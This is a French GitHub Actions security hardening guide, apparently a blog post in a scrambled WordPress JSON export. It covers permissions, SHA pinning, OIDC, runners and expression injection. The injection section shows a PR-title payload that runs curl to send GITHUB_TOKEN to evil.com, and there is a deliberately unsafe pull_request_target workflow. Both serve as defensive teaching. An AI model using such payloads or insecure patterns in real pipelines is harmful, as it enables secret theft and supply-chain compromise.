GitHub Actions est devenue la plateforme CI\/CD la plus adopt\u00e9e au monde. Avec plus de 90 % des d\u00e9p\u00f4ts GitHub capables de l’utiliser nativement, elle propulse aussi bien de simples v\u00e9rifications de linting que des d\u00e9ploiements multi-cloud complexes. Mais cette omnipr\u00e9sence en fait la surface d’attaque CI\/CD la plus cibl\u00e9e du d\u00e9veloppement logiciel moderne.<\/p>\n\n
En 2024 et 2025, des attaquants ont compromis des GitHub Actions populaires (comme Ce guide est une r\u00e9f\u00e9rence compl\u00e8te et pratique pour s\u00e9curiser GitHub Actions de fond en comble. Que vous soyez ing\u00e9nieur DevOps en train de durcir des workflows de production, architecte s\u00e9curit\u00e9 d\u00e9finissant la politique CI\/CD, ou d\u00e9veloppeur souhaitant cesser de livrer des vuln\u00e9rabilit\u00e9s via votre pipeline, cet article couvre tout ce que vous devez savoir \u2014 avec, tout au long, des liens vers des labs d\u00e9taill\u00e9s et des aide-m\u00e9moire.<\/p>\n\n Avant de pouvoir s\u00e9curiser GitHub Actions, vous devez comprendre le fonctionnement r\u00e9el de son mod\u00e8le de s\u00e9curit\u00e9. GitHub Actions repose sur un mod\u00e8le de confiance construit autour de trois piliers : les tokens d’authentification<\/strong>, les d\u00e9clencheurs de workflow<\/strong> et les environnements d’ex\u00e9cution<\/strong>.<\/p>\n\n Chaque ex\u00e9cution de workflow se voit automatiquement attribuer un L’enseignement de s\u00e9curit\u00e9 crucial : les permissions par d\u00e9faut de GitHub Actions prend en charge des dizaines de d\u00e9clencheurs d’\u00e9v\u00e9nements \u2014 Les environnements GitHub fournissent une fronti\u00e8re de s\u00e9curit\u00e9 suppl\u00e9mentaire. Vous pouvez y attacher des r\u00e8gles de protection \u2014 r\u00e9viseurs requis, d\u00e9lais d’attente, restrictions de branches et politiques de branches de d\u00e9ploiement. Les secrets peuvent \u00eatre limit\u00e9s \u00e0 des environnements pr\u00e9cis, garantissant que les identifiants de production ne sont accessibles qu’aux workflows qui d\u00e9ploient en production.<\/p>\n\n Les environnements comptent parmi les fonctionnalit\u00e9s de s\u00e9curit\u00e9 les plus sous-utilis\u00e9es de GitHub Actions. Si vous ne les utilisez pas, il vous manque une couche de contr\u00f4le essentielle.<\/p>\n\n L’am\u00e9lioration de s\u00e9curit\u00e9 la plus d\u00e9terminante que vous puissiez apporter \u00e0 n’importe quel workflow GitHub Actions consiste \u00e0 restreindre les Au niveau de l’organisation ou du d\u00e9p\u00f4t, rendez-vous dans Settings \u2192 Actions \u2192 General \u2192 Workflow permissions<\/strong> et s\u00e9lectionnez \u00ab\u00a0Read repository contents and packages permissions\u00a0\u00bb<\/strong>. Ainsi, chaque workflow d\u00e9marre avec des permissions minimales et doit demander explicitement tout acc\u00e8s au-del\u00e0 de la lecture.<\/p>\n\n Dans vos fichiers de workflow, d\u00e9clarez toujours les permissions explicitement au niveau sup\u00e9rieur :<\/p>\n\n Pour les jobs qui n\u00e9cessitent des permissions diff\u00e9rentes, d\u00e9clarez-les au niveau du job. Les permissions de job priment sur celles du workflow pour ce job pr\u00e9cis, offrant un contr\u00f4le encore plus fin :<\/p>\n\n Pour une r\u00e9f\u00e9rence compl\u00e8te des permissions n\u00e9cessaires aux op\u00e9rations courantes, consultez notre Cheat Sheet S\u00e9curit\u00e9 GitHub Actions<\/a>, qui associe chaque t\u00e2che courante \u00e0 son jeu minimal de permissions requises.<\/p>\n\n Chaque directive Lorsque vous r\u00e9f\u00e9rencez une action comme La solution consiste \u00e0 \u00e9pingler les actions \u00e0 leur SHA de commit complet :<\/p>\n\n Les r\u00e9f\u00e9rences \u00e9pingl\u00e9es par SHA sont immuables. M\u00eame si le d\u00e9p\u00f4t de l’action est compromis, le SHA pointe vers le code exact que vous avez audit\u00e9. Le commentaire en fin de ligne permet aux humains d’identifier la version d’un coup d’\u0153il, et des outils comme Dependabot peuvent toujours proposer des mises \u00e0 jour.<\/p>\n\n L’\u00e9pinglage par SHA cr\u00e9e une charge de maintenance : vous devez mettre \u00e0 jour les \u00e9pinglages \u00e0 chaque nouvelle version. Dependabot r\u00e9sout ce probl\u00e8me. Ajoutez une configuration Dependabot ouvrira automatiquement des PR pour mettre \u00e0 jour vos actions \u00e9pingl\u00e9es par SHA vers la derni\u00e8re version, tout en conservant la r\u00e9f\u00e9rence SHA immuable. Vous obtenez ainsi la s\u00e9curit\u00e9 de l’\u00e9pinglage avec le confort des mises \u00e0 jour automatis\u00e9es.<\/p>\n\n Pour une mise en pratique de l’\u00e9pinglage des actions, du durcissement des permissions et des bonnes pratiques de gestion des secrets dans un vrai workflow, r\u00e9alisez notre Lab : durcir les workflows GitHub Actions \u2014 permissions, \u00e9pinglage et secrets<\/a>.<\/p>\n\n Les secrets dans GitHub Actions existent \u00e0 trois niveaux : d\u00e9p\u00f4t<\/strong>, environnement<\/strong> et organisation<\/strong>. Comprendre les diff\u00e9rences et choisir le bon niveau est essentiel pour la s\u00e9curit\u00e9.<\/p>\n\n Accessibles \u00e0 tous les workflows d’un d\u00e9p\u00f4t. Tout workflow d\u00e9clench\u00e9 par un push ou une pull_request (depuis le m\u00eame d\u00e9p\u00f4t) peut y acc\u00e9der. Ils ne sont pas accessibles aux workflows d\u00e9clench\u00e9s par les \u00e9v\u00e9nements Limit\u00e9s \u00e0 un environnement pr\u00e9cis. Seuls les jobs qui r\u00e9f\u00e9rencent cet environnement peuvent acc\u00e9der \u00e0 ses secrets. Combin\u00e9s aux r\u00e8gles de protection d’environnement (r\u00e9viseurs requis, restrictions de branches), les secrets d’environnement offrent la meilleure protection native des secrets dans GitHub Actions.<\/p>\n\n Partag\u00e9s entre les d\u00e9p\u00f4ts. Ils peuvent \u00eatre restreints \u00e0 des d\u00e9p\u00f4ts pr\u00e9cis ou rendus accessibles \u00e0 tous. Utiles pour des identifiants partag\u00e9s comme les tokens de registre de conteneurs, mais ils augmentent le rayon d’impact en cas de compromission.<\/p>\n\n L’interaction entre les forks, les secrets et N’extrayez jamais le code du head d’une PR dans un workflow Ce sch\u00e9ma \u2014 parfois appel\u00e9 \u00ab pwn request \u00bb \u2014 permet \u00e0 un attaquant de soumettre, depuis un fork, une PR qui modifie le script de build, la suite de tests ou tout autre code ex\u00e9cut\u00e9. Comme Si vous devez utiliser Les identifiants \u00e0 longue dur\u00e9e de vie stock\u00e9s en tant que secrets GitHub sont une bombe \u00e0 retardement. Si un secret est exfiltr\u00e9 \u2014 via une action compromise, une fuite dans les logs ou une PR malveillante \u2014 l’attaquant conserve un acc\u00e8s persistant jusqu’\u00e0 la rotation manuelle de l’identifiant. La solution est la f\u00e9d\u00e9ration d’identit\u00e9 de charge de travail bas\u00e9e sur OIDC<\/strong>.<\/p>\n\n GitHub Actions peut \u00e9mettre des tokens OIDC qui attestent l’identit\u00e9 d’une ex\u00e9cution de workflow. Ces tokens contiennent des claims sur le d\u00e9p\u00f4t, la branche, l’environnement, l’acteur et le workflow. Les fournisseurs cloud (AWS, GCP, Azure) peuvent \u00eatre configur\u00e9s pour faire confiance \u00e0 ces tokens et les \u00e9changer contre des identifiants \u00e0 courte dur\u00e9e de vie.<\/p>\n\n Le d\u00e9roulement est le suivant :<\/p>\n\n Avec OIDC, il n’y a aucun identifiant statique \u00e0 voler. M\u00eame si un attaquant exfiltre le token OIDC, celui-ci expire en quelques minutes et est li\u00e9 \u00e0 des claims pr\u00e9cis qui limitent son utilisation.<\/p>\n\n Pour approfondir les concepts derri\u00e8re la f\u00e9d\u00e9ration d’identit\u00e9 de charge de travail, lisez notre guide Identifiants de courte dur\u00e9e et f\u00e9d\u00e9ration d’identit\u00e9 de charge de travail en CI\/CD<\/a>. Pour le mettre en pratique, suivez notre Lab : configurer l’identit\u00e9 de charge de travail OIDC pour GitHub Actions et AWS<\/a>.<\/p>\n\n Le runner est l’endroit o\u00f9 votre code de workflow s’ex\u00e9cute r\u00e9ellement. Les propri\u00e9t\u00e9s de s\u00e9curit\u00e9 de votre runner d\u00e9terminent directement le rayon d’impact de toute compromission de workflow.<\/p>\n\n Les runners h\u00e9berg\u00e9s par GitHub sont des VM \u00e9ph\u00e9m\u00e8res, provisionn\u00e9es \u00e0 neuf pour chaque job puis d\u00e9truites. Cela offre une isolation forte :<\/p>\n\n Pour la plupart des workflows, les runners h\u00e9berg\u00e9s par GitHub sont l’option la plus s\u00fbre. La contrepartie : une personnalisation limit\u00e9e et des co\u00fbts potentiellement plus \u00e9lev\u00e9s pour les charges de calcul intensives.<\/p>\n\n Les runners auto-h\u00e9berg\u00e9s s’ex\u00e9cutent sur votre propre infrastructure. Ils offrent plus de contr\u00f4le et peuvent revenir moins cher \u00e0 grande \u00e9chelle, mais ils introduisent des risques de s\u00e9curit\u00e9 importants :<\/p>\n\n La meilleure approche pour les runners auto-h\u00e9berg\u00e9s est de les rendre \u00e9ph\u00e9m\u00e8res<\/strong>. Actions Runner Controller (ARC) s’ex\u00e9cute sur Kubernetes et provisionne un pod runner neuf pour chaque job. Une fois le job termin\u00e9, le pod est d\u00e9truit \u2014 exactement comme un runner h\u00e9berg\u00e9 par GitHub, mais sur votre propre infrastructure.<\/p>\n\n Bonnes pratiques de s\u00e9curit\u00e9 cl\u00e9s pour ARC :<\/p>\n\n Pour un guide complet sur l’architecture de s\u00e9curit\u00e9 des runners, consultez S\u00e9curiser les runners GitHub Actions<\/a>. Pour d\u00e9ployer des runners \u00e9ph\u00e9m\u00e8res en pratique, r\u00e9alisez notre Lab : runners auto-h\u00e9berg\u00e9s \u00e9ph\u00e9m\u00e8res avec Actions Runner Controller<\/a>.<\/p>\n\n Chaque action tierce que vous r\u00e9f\u00e9rencez dans un workflow est du code qui s’ex\u00e9cute au sein de votre pipeline CI\/CD, avec acc\u00e8s \u00e0 votre code source, vos secrets et vos identifiants de d\u00e9ploiement. Il est essentiel de traiter les actions tierces comme n’importe quelle autre d\u00e9pendance logicielle.<\/p>\n\n Avant d’ajouter une action tierce \u00e0 vos workflows :<\/p>\n\n Au niveau de l’organisation, GitHub vous permet de restreindre les actions utilisables. Rendez-vous dans Organization Settings \u2192 Actions \u2192 General \u2192 Policies<\/strong> et configurez une liste d’autorisation. Les options possibles :<\/p>\n\n Pour les entreprises, la liste d’autorisation est un contr\u00f4le essentiel. Elle emp\u00eache les d\u00e9veloppeurs d’ajouter \u00e0 la l\u00e9g\u00e8re des actions non v\u00e9rifi\u00e9es aux workflows et fournit un processus d’approbation centralis\u00e9 pour les nouvelles d\u00e9pendances d’actions.<\/p>\n\n Pour vous exercer \u00e0 d\u00e9tecter les comportements malveillants dans les GitHub Actions \u00e0 l’aide de techniques d’analyse statique, r\u00e9alisez notre Lab : d\u00e9tecter les GitHub Actions malveillantes par analyse statique<\/a>.<\/p>\n\n L’injection d’expressions est l’une des vuln\u00e9rabilit\u00e9s les plus courantes et les plus dangereuses des workflows GitHub Actions. Elle survient lorsqu’une entr\u00e9e non fiable est interpol\u00e9e directement dans une expression de workflow via la syntaxe Les expressions GitHub Actions sont \u00e9valu\u00e9es avant<\/em> que le shell ne les voie. Lorsque vous \u00e9crivez :<\/p>\n\n L’expression est remplac\u00e9e par le titre litt\u00e9ral de la PR avant m\u00eame que la commande shell ne soit construite. Si un attaquant cr\u00e9e une PR dont le titre est :<\/p>\n\n La commande shell r\u00e9sultante devient :<\/p>\n\n L’attaquant a inject\u00e9 des commandes shell arbitraires dans votre workflow.<\/p>\n\n Les valeurs de contexte GitHub suivantes sont contr\u00f4l\u00e9es par l’attaquant et ne devraient jamais<\/strong> \u00eatre utilis\u00e9es directement dans des blocs Au lieu d’interpoler des expressions dans des blocs Lorsque la valeur transite par une variable d’environnement, le shell la traite comme une cha\u00eene litt\u00e9rale, et non comme du code \u00e0 ex\u00e9cuter. Cela emp\u00eache totalement l’injection.<\/p>\n\n S\u00e9curiser votre pipeline CI\/CD ne consiste pas seulement \u00e0 prot\u00e9ger le pipeline lui-m\u00eame : il s’agit aussi de garantir que les artifacts qu’il produit sont dignes de confiance. La s\u00e9curit\u00e9 de la cha\u00eene d’approvisionnement pour GitHub Actions englobe la signature des artifacts, l’attestation de provenance et la v\u00e9rification.<\/p>\n\n Cosign, qui fait partie du projet Sigstore, permet la signature sans cl\u00e9 (keyless) d’images de conteneurs et d’autres artifacts \u00e0 l’aide d’identit\u00e9s OIDC. Dans GitHub Actions, cela signifie que l’identit\u00e9 de votre workflow (d\u00e9p\u00f4t, branche, workflow) devient l’identit\u00e9 de signature \u2014 aucune cl\u00e9 de signature statique \u00e0 g\u00e9rer ni \u00e0 prot\u00e9ger.<\/p>\n\n La signature obtenue est enregistr\u00e9e dans un journal de transparence (Rekor), fournissant une trace auditable attestant qu’un workflow pr\u00e9cis, dans un d\u00e9p\u00f4t pr\u00e9cis, a produit un artifact pr\u00e9cis.<\/p>\n\n SLSA (Supply-chain Levels for Software Artifacts) fournit un cadre pour garantir l’int\u00e9grit\u00e9 des builds. L’action officielle La provenance SLSA r\u00e9pond \u00e0 la question : \u00ab Puis-je prouver que cet artifact a \u00e9t\u00e9 construit \u00e0 partir de ce code source par ce syst\u00e8me CI\/CD ? \u00bb Pour toute organisation qui prend au s\u00e9rieux la s\u00e9curit\u00e9 de la cha\u00eene d’approvisionnement, l’attestation de provenance devrait faire partie de chaque workflow de release.<\/p>\n\n Pour une exp\u00e9rience pratique de la signature de conteneurs avec Cosign dans un pipeline CI\/CD, consultez notre lab de signature Cosign. Pour mettre en \u0153uvre la g\u00e9n\u00e9ration et la v\u00e9rification de la provenance SLSA, r\u00e9alisez notre lab de provenance SLSA.<\/p>\n\n Apr\u00e8s avoir audit\u00e9 des centaines de workflows GitHub Actions, voici les cinq erreurs de configuration de s\u00e9curit\u00e9 les plus fr\u00e9quentes que nous rencontrons :<\/p>\n\n Les workflows d\u00e9pourvus de bloc Correction :<\/strong> Ajoutez un bloc Utiliser des r\u00e9f\u00e9rences de tag comme Correction :<\/strong> \u00c9pinglez toutes les actions tierces \u00e0 des SHA de commit complets. Utilisez Dependabot pour g\u00e9rer les mises \u00e0 jour.<\/p>\n\n Interpoler directement des valeurs de contexte contr\u00f4l\u00e9es par l’attaquant (titres de PR, corps d’issues, noms de branches) dans des \u00e9tapes Correction :<\/strong> Faites toujours transiter les valeurs de contexte non fiables par des variables d’environnement.<\/p>\n\n Extraire et ex\u00e9cuter le code du head d’une PR dans un workflow Correction :<\/strong> N’extrayez jamais Stocker des cl\u00e9s d’acc\u00e8s AWS, du JSON de compte de service GCP ou des secrets client Azure en tant que secrets de d\u00e9p\u00f4t ou d’organisation cr\u00e9e une exposition d’identifiants persistante. Si ces secrets fuitent, l’attaquant obtient un acc\u00e8s durable \u00e0 vos ressources cloud.<\/p>\n\n Correction :<\/strong> Remplacez les identifiants statiques par la f\u00e9d\u00e9ration d’identit\u00e9 de charge de travail OIDC. Sans secret \u00e0 voler, il n’y a plus d’exposition d’identifiants.<\/p>\n\n Utilisez cette checklist pour durcir syst\u00e9matiquement vos workflows GitHub Actions. Chaque \u00e9l\u00e9ment renvoie \u00e0 une section de ce guide :<\/p>\n\n La th\u00e9orie a ses limites. Mettez en pratique ce que vous avez appris dans ces labs :<\/p>\n\n Automatisez l’application de la s\u00e9curit\u00e9 avec ces outils essentiels :<\/p>\n\n actionlint<\/a> est un outil d’analyse statique pour les fichiers de workflow GitHub Actions. Il d\u00e9tecte les erreurs de syntaxe, les incompatibilit\u00e9s de types, les commandes shell invalides et les probl\u00e8mes de s\u00e9curit\u00e9 comme l’injection d’expressions. Ex\u00e9cutez-le en local et en CI pour rep\u00e9rer les probl\u00e8mes avant qu’ils n’atteignent la production :<\/p>\n\n zizmor<\/a> est un linter de s\u00e9curit\u00e9 d\u00e9di\u00e9 \u00e0 GitHub Actions. Contrairement aux linters g\u00e9n\u00e9ralistes, zizmor se concentre sp\u00e9cifiquement sur les probl\u00e8mes de s\u00e9curit\u00e9 : injection d’expressions, actions non \u00e9pingl\u00e9es, permissions trop larges, d\u00e9clencheurs dangereux, et plus encore. Il produit des r\u00e9sultats exploitables, assortis d’un niveau de s\u00e9v\u00e9rit\u00e9 et de conseils de correction :<\/p>\n\n Ces deux outils devraient faire partie de votre pipeline CI. Ex\u00e9cutez-les sur chaque PR qui modifie des fichiers de workflow. Ensemble, ils d\u00e9tectent la grande majorit\u00e9 des probl\u00e8mes de s\u00e9curit\u00e9 courants de GitHub Actions avant leur fusion.<\/p>\n\n La s\u00e9curit\u00e9 de GitHub Actions ne se r\u00e9sume pas \u00e0 un simple interrupteur de configuration : c’est une d\u00e9fense en profondeur qui couvre les permissions, les d\u00e9pendances, les secrets, l’identit\u00e9, l’infrastructure et l’int\u00e9grit\u00e9 de la cha\u00eene d’approvisionnement. Les attaques contre les pipelines CI\/CD gagnent en fr\u00e9quence et en sophistication, et les organisations qui traitent la s\u00e9curit\u00e9 des pipelines comme une r\u00e9flexion secondaire seront celles qui devront annoncer des br\u00e8ches.<\/p>\n\n La bonne nouvelle, c’est que chaque mesure d’att\u00e9nuation de ce guide est applicable d\u00e8s aujourd’hui. Vous pouvez passer les permissions en lecture seule en cinq minutes. Vous pouvez activer Dependabot pour l’\u00e9pinglage des actions en un commit. Vous pouvez migrer des identifiants statiques vers OIDC en un apr\u00e8s-midi. Et vous pouvez d\u00e9ployer des runners \u00e9ph\u00e9m\u00e8res avant la fin de la semaine.<\/p>\n\n Commencez par la checklist de mise en \u0153uvre ci-dessus. R\u00e9alisez les labs. Ex\u00e9cutez actionlint et zizmor sur vos workflows existants et corrigez ce qu’ils signalent. Chaque \u00e9tape de durcissement que vous franchissez augmente le co\u00fbt pour les attaquants et r\u00e9duit votre risque.<\/p>\n\n Votre pipeline CI\/CD est un syst\u00e8me de production. S\u00e9curisez-le comme tel.<\/p>\n","protected":false},"excerpt":{"rendered":" GitHub Actions est devenue la plateforme CI\/CD la plus adopt\u00e9e au monde. Avec plus de 90 % des d\u00e9p\u00f4ts GitHub capables de l’utiliser nativement, elle propulse aussi bien de simples v\u00e9rifications de linting que des d\u00e9ploiements multi-cloud complexes. Mais cette omnipr\u00e9sence en fait la surface d’attaque CI\/CD la plus cibl\u00e9e du d\u00e9veloppement logiciel moderne. En … Lire la suite<\/a><\/p>\n","protected":false},"author":1,"featured_media":1184,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[49,52],"tags":[],"post_folder":[],"class_list":["post-442","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-ci-cd-security","category-github-actions"],"_links":{"self":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/comments?post=442"}],"version-history":[{"count":4,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/442\/revisions"}],"predecessor-version":[{"id":1185,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/posts\/442\/revisions\/1185"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media\/1184"}],"wp:attachment":[{"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/media?parent=442"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/categories?post=442"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/tags?post=442"},{"taxonomy":"post_folder","embeddable":true,"href":"https:\/\/secure-pipelines.com\/fr\/wp-json\/wp\/v2\/post_folder?post=442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}tj-actions\/changed-files<\/code> et reviewdog<\/code>), inject\u00e9 du code malveillant dans des milliers de workflows CI et exfiltr\u00e9 les secrets d’organisations qui pensaient leurs pipelines \u00e0 l’abri. Les attaques de la cha\u00eene d’approvisionnement contre le CI\/CD ne sont plus th\u00e9oriques : elles sont devenues courantes.<\/p>\n\nComprendre le mod\u00e8le de s\u00e9curit\u00e9 de GitHub Actions<\/h2>\n\n
Le GITHUB_TOKEN<\/h3>\n\n
GITHUB_TOKEN<\/code> \u2014 un token \u00e0 courte dur\u00e9e de vie limit\u00e9 au d\u00e9p\u00f4t o\u00f9 s’ex\u00e9cute le workflow. Ce token est le principal m\u00e9canisme d’authentification pour interagir avec l’API GitHub depuis les workflows. Par d\u00e9faut, il dispose de larges permissions de lecture\/\u00e9criture sur l’ensemble du d\u00e9p\u00f4t, y compris la possibilit\u00e9 de pousser du code, de g\u00e9rer les issues et de modifier les packages.<\/p>\n\nGITHUB_TOKEN<\/code> sont bien trop larges pour la plupart des workflows<\/strong>. Un workflow qui doit seulement publier un commentaire sur une PR ne devrait pas avoir la permission de pousser du code. Pourtant, sans configuration explicite, c’est le cas.<\/p>\n\nLes d\u00e9clencheurs de workflow<\/h3>\n\n
push<\/code>, pull_request<\/code>, pull_request_target<\/code>, workflow_dispatch<\/code>, schedule<\/code>, issue_comment<\/code>, et bien d’autres. Chaque d\u00e9clencheur comporte des implications de s\u00e9curit\u00e9 diff\u00e9rentes :<\/p>\n\n\n
pull_request<\/code><\/strong> \u2014 S’ex\u00e9cute dans le contexte du code du fork. Le GITHUB_TOKEN<\/code> est en lecture seule. Les secrets ne sont pas accessibles depuis les forks. C’est le d\u00e9clencheur le plus s\u00fbr pour les contributions externes.<\/li>\npull_request_target<\/code><\/strong> \u2014 S’ex\u00e9cute dans le contexte du d\u00e9p\u00f4t de base<\/em>. Le GITHUB_TOKEN<\/code> dispose d’un acc\u00e8s en \u00e9criture. Les secrets sont accessibles. C’est extr\u00eamement dangereux si vous extrayez le code du head de la PR.<\/li>\npush<\/code><\/strong> \u2014 S’ex\u00e9cute sur le commit pouss\u00e9. Acc\u00e8s complet aux secrets et aux tokens en \u00e9criture. S\u00fbr uniquement pour les branches de confiance.<\/li>\nworkflow_dispatch<\/code><\/strong> \u2014 D\u00e9clencheur manuel. Utile pour les d\u00e9ploiements contr\u00f4l\u00e9s, mais validez les param\u00e8tres d’entr\u00e9e.<\/li>\nschedule<\/code><\/strong> \u2014 S’ex\u00e9cute selon une planification cron sur la branche par d\u00e9faut. Dispose d’un acc\u00e8s en \u00e9criture et des secrets. Assurez-vous que les workflows planifi\u00e9s ne peuvent pas \u00eatre modifi\u00e9s par des PR non fiables.<\/li>\n<\/ul>\n\nEnvironnements et protection des d\u00e9ploiements<\/h3>\n\n
Permissions de workflow : le principe du moindre privil\u00e8ge<\/h2>\n\n
GITHUB_TOKEN<\/code> permissions<\/strong>. GitHub vous permet de d\u00e9finir les permissions \u00e0 deux niveaux : l’ensemble du workflow et chaque job individuellement.<\/p>\n\nD\u00e9finir des permissions par d\u00e9faut en lecture seule<\/h3>\n\n
permissions:\n contents: read\n pull-requests: write # Only if needed\n<\/code><\/pre>\n\njobs:\n build:\n permissions:\n contents: read\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n - run: npm build\n\n deploy:\n permissions:\n contents: read\n id-token: write # For OIDC\n runs-on: ubuntu-latest\n steps:\n - uses: aws-actions\/configure-aws-credentials@v4\n<\/code><\/pre>\n\n\u00c9pinglage des actions : se d\u00e9fendre contre les attaques de la cha\u00eene d’approvisionnement<\/h2>\n\n
uses:<\/code> de votre workflow est une d\u00e9pendance \u2014 et comme toute d\u00e9pendance, elle peut \u00eatre compromise. L’incident tj-actions\/changed-files<\/code> de d\u00e9but 2025 a d\u00e9montr\u00e9 pr\u00e9cis\u00e9ment ce qui se passe lorsqu’une action populaire est d\u00e9tourn\u00e9e : l’attaquant a modifi\u00e9 l’action pour exfiltrer le GITHUB_TOKEN<\/code> et d’autres secrets depuis chaque d\u00e9p\u00f4t qui la r\u00e9f\u00e9ren\u00e7ait par tag.<\/p>\n\nPourquoi les tags et les branches ne suffisent pas<\/h3>\n\n
actions\/checkout@v4<\/code>, vous faites confiance au mainteneur de l’action \u2014 et \u00e0 quiconque compromet son compte \u2014 pour ne pas d\u00e9placer ni modifier ce tag. Les tags Git sont mutables. Un attaquant qui obtient un acc\u00e8s en \u00e9criture \u00e0 un d\u00e9p\u00f4t peut faire pointer v4<\/code> vers n’importe quel commit de son choix.<\/p>\n\n\u00c9pinglage par SHA<\/h3>\n\n
# Bad - mutable tag\n- uses: actions\/checkout@v4\n\n# Good - immutable SHA pin with version comment\n- uses: actions\/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1\n<\/code><\/pre>\n\nAutomatiser les mises \u00e0 jour des \u00e9pinglages avec Dependabot<\/h3>\n\n
.github\/dependabot.yml<\/code> :<\/p>\n\nversion: 2\nupdates:\n - package-ecosystem: \"github-actions\"\n directory: \"\/\"\n schedule:\n interval: \"weekly\"\n<\/code><\/pre>\n\nGestion des secrets<\/h2>\n\n
Secrets de d\u00e9p\u00f4t<\/h3>\n\n
pull_request<\/code> provenant de forks.<\/strong><\/p>\n\nSecrets d’environnement<\/h3>\n\n
Secrets d’organisation<\/h3>\n\n
S\u00e9curit\u00e9 des forks et pull_request_target<\/h3>\n\n
pull_request_target<\/code> est l’un des domaines les plus dangereux de la s\u00e9curit\u00e9 GitHub Actions. Voici la r\u00e8gle essentielle :<\/p>\n\npull_request_target<\/code> pour l’ex\u00e9cuter avec acc\u00e8s aux secrets.<\/strong><\/p>\n\npull_request_target<\/code> s’ex\u00e9cute avec les secrets et le token en \u00e9criture du d\u00e9p\u00f4t de base, le code de l’attaquant s’ex\u00e9cute avec un acc\u00e8s complet \u00e0 vos identifiants.<\/p>\n\n# DANGEROUS - Never do this\non: pull_request_target\njobs:\n build:\n runs-on: ubuntu-latest\n steps:\n - uses: actions\/checkout@v4\n with:\n ref: ${{ github.event.pull_request.head.sha }} # Attacker-controlled code!\n - run: npm test # Runs attacker's code with your secrets\n<\/code><\/pre>\n\npull_request_target<\/code>, n’extrayez que le code de la branche de base, ou utilisez un sch\u00e9ma \u00e0 deux workflows o\u00f9 le premier (d\u00e9clench\u00e9 par pull_request<\/code>) produit des artifacts, et le second (d\u00e9clench\u00e9 par workflow_run<\/code>) traite ces artifacts avec des permissions \u00e9lev\u00e9es.<\/p>\n\nOIDC et f\u00e9d\u00e9ration d’identit\u00e9 de charge de travail<\/h2>\n\n
Comment fonctionne OIDC dans GitHub Actions<\/h3>\n\n
\n
id-token: write<\/code>).<\/li>\nExemple : AWS avec OIDC<\/h3>\n\n
permissions:\n id-token: write\n contents: read\n\nsteps:\n - uses: aws-actions\/configure-aws-credentials@v4\n with:\n role-to-assume: arn:aws:iam::123456789012:role\/github-actions-deploy\n aws-region: us-east-1\n # No access keys needed!\n<\/code><\/pre>\n\nS\u00e9curit\u00e9 des runners : h\u00e9berg\u00e9s vs. auto-h\u00e9berg\u00e9s<\/h2>\n\n
Runners h\u00e9berg\u00e9s par GitHub<\/h3>\n\n
\n
Runners auto-h\u00e9berg\u00e9s : risques et mesures d’att\u00e9nuation<\/h3>\n\n
\n
Runners \u00e9ph\u00e9m\u00e8res avec Actions Runner Controller (ARC)<\/h3>\n\n
\n
S\u00e9curit\u00e9 des actions tierces<\/h2>\n\n
Auditer les actions avant de les utiliser<\/h3>\n\n
\n
contents: write<\/code> ? C’est un signal d’alarme.<\/li>\nMettre en place des listes d’autorisation d’actions<\/h3>\n\n
\n
Injection d’expressions<\/h2>\n\n
${{ }}<\/code>.<\/p>\n\nComment fonctionne l’injection d’expressions<\/h3>\n\n
- run: echo \"Hello ${{ github.event.pull_request.title }}\"<\/code><\/pre>\n\n\"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"<\/code><\/pre>\n\necho \"Hello \"; curl http:\/\/evil.com\/steal?token=$GITHUB_TOKEN; echo \"\"<\/code><\/pre>\n\nContextes vuln\u00e9rables<\/h3>\n\n
run:<\/code> :<\/p>\n\n\n
github.event.pull_request.title<\/code><\/li>\ngithub.event.pull_request.body<\/code><\/li>\ngithub.event.issue.title<\/code><\/li>\ngithub.event.issue.body<\/code><\/li>\ngithub.event.comment.body<\/code><\/li>\ngithub.event.review.body<\/code><\/li>\ngithub.event.head_commit.message<\/code><\/li>\ngithub.head_ref<\/code> (nom de branche \u2014 contr\u00f4l\u00e9 par l’attaquant dans les forks)<\/li>\n<\/ul>\n\nLa correction : les variables d’environnement<\/h3>\n\n
run:<\/code>, passez-les par des variables d’environnement :<\/p>\n\n# Vulnerable\n- run: echo \"PR title: ${{ github.event.pull_request.title }}\"\n\n# Safe\n- run: echo \"PR title: $PR_TITLE\"\n env:\n PR_TITLE: ${{ github.event.pull_request.title }}\n<\/code><\/pre>\n\nS\u00e9curit\u00e9 de la cha\u00eene d’approvisionnement : signature et provenance<\/h2>\n\n
Signature des artifacts avec Cosign et Sigstore<\/h3>\n\n
steps:\n - uses: sigstore\/cosign-installer@v3\n - run: cosign sign --yes ${{ env.IMAGE_REF }}\n env:\n COSIGN_EXPERIMENTAL: 1\n<\/code><\/pre>\n\nProvenance SLSA<\/h3>\n\n
actions\/attest-build-provenance<\/code> de GitHub g\u00e9n\u00e8re des attestations de provenance SLSA qui enregistrent exactement comment un artifact a \u00e9t\u00e9 construit \u2014 le d\u00e9p\u00f4t source, le commit, le builder et les instructions de build.<\/p>\n\nErreurs de configuration courantes : le top 5<\/h2>\n\n
1. Bloc de permissions absent<\/h3>\n\n
